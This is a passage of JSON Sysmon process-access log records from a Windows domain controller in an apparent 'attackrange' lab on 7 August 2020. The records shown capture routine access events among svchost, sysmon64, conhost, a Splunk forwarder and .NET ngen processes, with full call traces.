C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:41.900\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-422D-5F2D-0000-001076630900}\r\nTargetProcessId: 2856\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:41.900","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-422D-5F2D-0000-001076630900}","TargetProcessId":"2856","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:42.447\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-422E-5F2D-0000-0010436B0900}\r\nTargetProcessId: 4896\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.